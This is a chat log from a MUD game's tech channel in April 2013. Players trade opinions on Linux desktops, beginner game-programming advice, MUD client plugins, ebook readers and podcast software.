T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: heh. rabid linux enthusiasts
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: yep, that's true, does the same, except for the working with word docs that other people send you bit
T3/r7/2013-04-03.txt.gz:{chan ch=tech}GraySong Gregor Tech: libre office supports that
T3/r7/2013-04-03.txt.gz:{chan ch=tech}GraySong Gregor Tech: it also comes with a windows .exe installer these days
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: no, it really doesn't. Powerpoint is worse.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}GraySong Gregor Tech: disagree, but whatever, just a suggestion
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: except you can't use libre in corporate environment
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir . o O ( i use libre on my windows machines )
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but hey - desktop linux sucks
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: and IE. I have to use that as well. Thanks SAP.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: linux is great on servers and antiquated hardware
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and embedded devices, of course
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: and a desktop, particularly a technical desktop
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: right up until someone sends you a word doc
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i guess it's good for software development, but not for professional productivity
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: well, that depends on what you are trying to produce of course. Still, anyone on a mud has little call to talk about productivity
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, often the argument seems to be that linux is great because it does everything almost like windows (on the desktop). so why bother if it doesn't offer you anything extra?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, it's free, but oem license costs you almost nothing
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: it's a good question -- for technical computing, it offers a lot extra
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but that's pretty much server environment already
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: headless number crunching etc
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: no I was thinking more of scientific computing, stats, data analysis and so on
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: is what I use it for
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's just that the rabid fanbois are annoying
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: yeah, they can be. Almost as bad a mac users at times. This is a big advantage with windows. Lots of people use it. No one likes it. 
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i like it
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i also like linux
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but i can't seem to develop the stockholm syndrome with linux desktop
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: yes just got unity
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Soonish project anarchy will do it's initial release, that might be something to look into also
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 100% free, don't have to pay to publish or sell
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but in the meantime unity is. IMO, the best place to get a start.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: sounds sweet will look into it
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: looks cool if a bit confusing
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: i cant get the code to use in Unity to move the character any ideas i am using javascript
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Xaeris Tech: That's a bigger question than what you just asked.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Xaeris Tech: You'd have to explain what your code does, how you've integrated the java into unity, and a lot more than "it's not moving, help".  
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: ok simpler question i think. what do need input for the program to perfrom a action when lets say the spacebar is pressed
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ranrr Tech: raw tty?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: can someone please provide me with the link to download visual studio 2010 
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you can't just google it?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Superjuicy Tech: ^
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: i am trying but am not getting the right site
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: http://lmgtfy.com/?q=Visual+Studios+2010+Download
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: ok i want to make sure would XNA be the best for making First person RPG for PC
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: depends on who you want to compete with.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: i only want to gain experience in making games so i dont want to compete
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: "making games" is far too broad.  You've got coding, graphics, storyline, and audio.  If you're trying to gain experience for a later career attempt, you're going to end up in one of those areas and almost never will be handling stuff across those boundaries.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: He wants to do the coding, he's said.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: programming only 
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What coding do you know already?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: bit of java busy with dephli at school
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: probably best to go generic then.  Build up a library of simple projects to demonstrate particular concepts, and don't limit yourself to stuff dedicated to gaming.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you want to use what you know, use Java and do mobile dev
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's all Java and XML, super simple once you get started.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: I doubt it's at all like it nowadays, but back in the day gamers used to do all sorts of things so wrongly they were basically useless in other programming aspects.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: i am just getting depressed now i might as well become a janitor.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Tech: nothing wrong with that :-)
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you're easily dissuaded like that, programming wasn't for you anyways :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: go drink some coffee and think about it
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Coffee, followed by red bull and/or mtn dew, followed by pizza, rinse and repeat until you live in front of your screen
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: crt gives a better tan than led imo
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: gaming is still "glamorous" (a nerd's version of pro sports, really), but it's really still a very small portion of the coding world.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: trust cheeze programming is the only thing i want to do i work hard at my IT and Hanslanda some people like a small world
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes, and no. It's rapidly growing on mobile. Over 30% of all apps are games now.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Because you'd be amazed how much stupid crap you can sell to people on an iphone :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: also, you have to cater to the average.  It's gonna drive you crazy that you have all this higher-end gear to do your work on, yet you're largely going to be making stuff for things a generation or two earlier.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: ok Hanslanda let me put it to you like this i have friend who can do the graphics and another who can do the sound and i get 94% for my programming at school so i focus on the code because i get it and games are a small piece of coding but it is the piece i love 
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: School projects != group up creation of a game :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ground*
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: schoolwork seriously will not really prepare you for the real-world.  Particularly if your first instinct is to look for shortcuts like XNA or other packages to make your life easier.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I had a 3.8 GPA doing coding in college, but it didn't prepare me in the least for creating my first app, much less my first game.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Except physics packs :P Life's so much easier when you don't have to build the physics and collision logic yourself :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Sonshi Tech: my college roommate did cs... I remember him talking about collision detection, ai, lighting, blah blah blah. Sounds like a lot of work
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, that kind of thing is nice but if you can't even understand the concepts you're just going to dig your hole deeper than you find comfortable.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, you have to teach two separate blocks of code when they're touching each other. Not hard, per se, just lots of manual work
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: most packages are either going to have a bug you ultimately will slam head-first into or will be designed for some niche that isn't exactly compatible with yours.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Sonshi Tech: optimising it is hard though...
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: well can someone just answer my original question please then ill wont use the tech channel anymore OK
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What's your 'original question'? You've asked quite a few
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Sonshi Tech: he showed me some pictures of pouring balls (2D) through a funnel or something. Think they got graded on how many could get through before it broke or within a certain time, or something.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ie, how many instances could it run before it ran out of memory?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: ok i want to make sure would XNA be the best for making First person RPG for PC
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, you have been answered.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Sonshi Tech: maybe, I don't know that much about cs, so the stuff he did just amazed me. heh
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Read everything Hans has said. he already explained the pitfalls of XNA and the likes.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: XNA may in fact be the best for what you are asking, but it's not going to be a tool for you to learn on.  Such things are meant to provide shortcuts for the people who already know this stuff and need to focus their time on actual content creation (usually for a paycheck).
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: to me it seemed he was telling me i am stupid and shouldnt make games and hans what do you recommend then
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I think you just need some direction. Why don't you build a simple little game. 2 2D balls in a 2D square. Make them move at each other and bounce back when they collide. There's the start of your first game, go from there.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You have your sights set WAY to high for your first game project
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: for a person who wants to learn programing but is not a expert who is 18 and cheeez does a few games in gamemaker count.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Age is irrelevant. I'm only 20 :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Trachx Tech: what? young people should be prohibited from using *tech* channel
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: approach things from the raw programming direction.  Databases, OOP, classes, and all the other things that will probably make you think programming = boring.  That will give you a useful foundation to learn on, and if gaming happens to fail for you then you won't fall back too much.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: gaming concepts are really just variations of all that, so if you can jump into the gaming pool with all of that stuff moreorless understood the only thing you have to concentrate on are the "how does this fit into gaming?" parts.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The first game I ever build, was a super-simple, yet vastly helpful project. Simple little side-scroller game, with pitfalls and stairs, could shoot to kill enemies, etc
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Trachx Tech: if you want to create / produce game you should decide who you are: game inventor / designer (in terms giving ideas) or programmer / designer (in terms designing levels, sound, graphics, etc)
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: built* apparently I can't speak in past tense today :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: i try to make simple i just lack the creativity i can do the code and all but the story the graphics and levels are my weak points
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: if you REALLY want to get some gaming work in as well, take a full weekend or so to just tear apart a library or local bookstore looking through various programming how-to books on gaming.  There are a lot of them put out there by gaming legends.  It won't really matter how dated the topics are, as most of the core concepts outlast the products they were featured in.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Trachx Tech: though probably first you should get on programming concepts before starting with game programming
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Trachx.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you gotta walk before you run
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: definitely, but can't really prevent impulse and drive.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And as much as you're going to hate it, you have to crawl before you can walk
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's nothing wrong with being driven, but understand that you can't just dive into a VAST field with a little big of programming under your belt and expect it to all fall together perfectly.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ontuct Tech: cheezburger is a buzzkill
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Grissom Tech: ok so in other words create small applications like a calculator or database storer in easy to use programs and take it from there?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, that'd be perfect.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Grounded != buzzkill :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or, something that might work better to get you started. Build yourself a little single-player MUD
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or SUD, if you will :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Trachx Tech: you could develop game similar to Sokoban or Arcanoid or Pacman - this probably would be more interesting than calculator and is only a bit more complicated
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: sokoban might not work.  The gameplay and the coding would be quite simple indeed, but the data's gonna be based on complicated concepts not really intended for novices.  A great game's gonna be a really poor one if you can't come up with scenarios. :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Create a Mahjong game :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hardest part of that is the psuedo randomizing sequence
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Bupy Tech: hey what is the prompt I need again to stop seeing the {affoff} tags after a spell wears off?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: tags spellups off
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Bupy Tech: thanks!
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone happen to sell samsung image units for printers?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anyone else notice a memory leak from hell on mush when leaving it running consistnetly?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Turie Tech: Explain.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I don't know how to clarify it any more... it keeps using more and more ram in exponential growth patterns
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: are you sure it's an actual leak and not just some runaway trigger or just how the scrollback buffer is being handled?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I know it's not a trigger, not sure about the scrollback; haven't really dug into that.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Turie Tech: I have 500k lines buffered and so on. It never gets pass 39% for me. If it does, then I just close and re-open.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: the fact that you have to close and re-open means you've noticed the leak too :P
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Turie Tech: Cheezburger: I was also running Adobe Elements 10, which was running around 45% to 55% the same time it happened. So, I do not know.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Hanslanda Tech: in CMud, the scrollback used to be defined based on the longest line length of ANY line that ever passed through it since the app was last opened.  This made it look like there was a leak as the likelihood for progressively-longer lines goes up the longer you play.
T3/r7/2013-04-03.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: how do u reload miniwin for events and quests/cps if it is closed?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: for mush
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Arystul Tech: has anyone here done a lot of research on the difference in tablets? Considering purchasing one, but unsure of what to get.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm having a slight problem with my client (using Bast's mush) remembering whether or not I removed a plugin even though I save my world file on exit - I've removed my broadcast spellskills, saved, and exited but when I reopen mush it is back and installed
T3/r7/2013-04-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: another one of his plugins probably reuire it and therefore re-install it when they are loaded
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Aurelia Tech: ohh
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Aurelia Tech: what will happen if I delete it from the directory?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Trachx Tech: it will stop workin
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Aurelia Tech: boo, hiss. THanks.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Trachx Tech: not deleted one, the one that reuires deleted one
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Aurelia Tech: righ
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Aurelia Tech: t
T3/r7/2013-04-04.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: is it possible to make muschlient to create a little window, with "VOTE" button that does all the painful work for you?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ixle Tech: By "painful work" do you mean clicking a link?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: It hurts his clicker finger.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel ducks under cover!
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ixle Tech: I thought MC supported clickable urls anyway. For me I just have to click either of the urls in help voteurls
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: hi
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Hi
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: what would you consider the best ebook reader for pc?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: amazon cloud reader
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: kindle cloud reader?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Same thing
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tepeyollotl Tech: i like calibre, never tried cloud though.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: thought s/\he ment amazon seach it >.>
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: looking at -h, for hwu's question earlier, http://code.google.com/p/bastmush/wiki/miniwin_vote
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: amazon isn't a search engine
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: it's a online store?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It does sell stuff, though :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: an online store which has some of its own software
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: alright
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: I've heard mixed reviews for calibre. folks saying the newer versions aren't that good
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just so you know, you can only use your amazon account on 5 devices. The cloud reader only counts as 1 no matter how many computers you use it on. Just an FYI
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: thank you
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: Calibre is a nice ebook management tool, but has a lousy reader. Cool reader is pretty good for android, I think it is available for other platforms as well.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: B&N and Amazon have free apps to read books on Android, and it's not hard to *cough*aquire*cough* ePub files.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: Also, not hard to buy them.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: using windows 7 pc
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Buying is a form of awuiring
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: aquiring*
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: true
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: just looking for something good to start reading this wheel of time series a friend recommended
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: nod, I have amazon, borders and b&n apps on my devices
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: Actually, they usually come with DRM junk, so you have to strip that. May not be legal is some places.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: in some*
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'm fairly sure those are all on the Amazon store, then you can read them on cloud reader.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: for just reading a few books, there's no such thing as a good or bad reader, really
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Jhav Tech: I like dead trees, personally.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The books make the reader :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I prefer reading physical books, but I prefer storing digital books :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: haha i guess but the files are all jumbled got some epub .lit n mobi's of it so trying to cover bases
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: they're also downloadable in ebook from the library :-)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Nice, i haven't visited a library in a while, didn't know they started doing that.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: we've had ebooks and audiobooks for about 5 years
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Like I said, a while :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: School library doesn't do that, and that's all i've used in probably the lat 5
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: for the less tech-savvy, the "playaways" are nice...old folks and kids
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: do you work at a library?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: I ran the IT department at a library system for 7 years
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: oh very cool
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: by any chance was this in a new york chain? I think I owe a book from like the 2nd grade and if you could pull some strngs to make that disappear can give you a TP >.>
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: wait for amnesty day ;)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: it wasn't in new york
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Rondel Tech: don't you need the book for amnesty day?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Endtime Tech: they have digital lending of ebooks and e-audiobooks at the local system here. the selections are still pretty horrendous, causing massive waiting lists for any book people actually want to read. still though, it seems to be getting better slowly
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: many larger systems, which have better selections, offer cards to non-residents
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: Could I get one if I live in Sweden? I mostly read english books anyways...
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Endtime Tech: i will look into that as well. I had no idea that was possible
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: for example, free library of philadelphia, residents/workers can get card normally (free), anyone in PA can get access to their stuff by getting an AccessPA endorsement on their local library card, and out of state people can get a free library of philadelphia card for $35/year
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: would probably be harder to find US places that accept euro applications...could try UK libraries though
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, that's what I'd expect.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dantin Tech: Anyone happen to know if I can view created alias' or the such made in zmud without opening zmud if I didn't save them to a text beforehand?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dantin Tech: If I were to reinstall zmud, to keep all my aard alias and settings, I just need to copy the Aardwolf folder over after reinstallation, right?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Any suggestions on good audio software mainly to manage podcasts? I prefer to avoid iTunes bloatware ...
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: for iOS, I presume... I use downcast.  works very well, and is kept updated.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: For XP ... or will I have to end up using iTunes after all to sync with iPod?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: Winamp.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: winamp
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: ya.. winamp
T3/r7/2013-04-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Wut, no VLC?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Was my next thought...imagine it's come a long way since 2000 :)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: VLC for podcasts? never tried it
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I use vlc for everything else, though :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I use Winamp for audio, though I was pretty stuck on MusicBee and MediaMonkey for a while.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Same, Cheezburger, that's why I thought it would be worth a try :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: VLC is good for video, and boot leg episodes of Game of thrones... but for podcasts, I'd go with winamp
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ontuct Tech: I still use a cassette tape player, and keep a #2 pencil on hand for trouble
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Next, easy to use software for making website design mockups ... sadly lately I've just been sketching stuff on paper and scanning it for clients
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: I presume you are using trying to get podcasts on a non-wifi apple device?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: since you are syncing with PC?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: he already said xp :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: yes.. .he said XP, bacause he need itunes to sync...
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Yes and yes..4th G nano 
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ontuct Tech: I like 4th and 5th, dislike the newer ones.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, i didn't read very well :P Bad cheezburger.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Vonliege sticks his tounge out at Cheezburger
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Ahh so Winamp won't sync with it...?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: ya.. .I think winamp is in the doghouse with apple... can't get licensed.  something about targeting itunes to rape your apple library and move it to android
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: reading up on it... looks like winamp is only good for android users.  too bad they can't all get along, but business is business
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You mean apple's prorpietary BS is and always will be a nuisance? No way! :P
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: yet and still... they are on top
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Hmmm I'd use my anroid phone but that requires extra skills in battery management:)
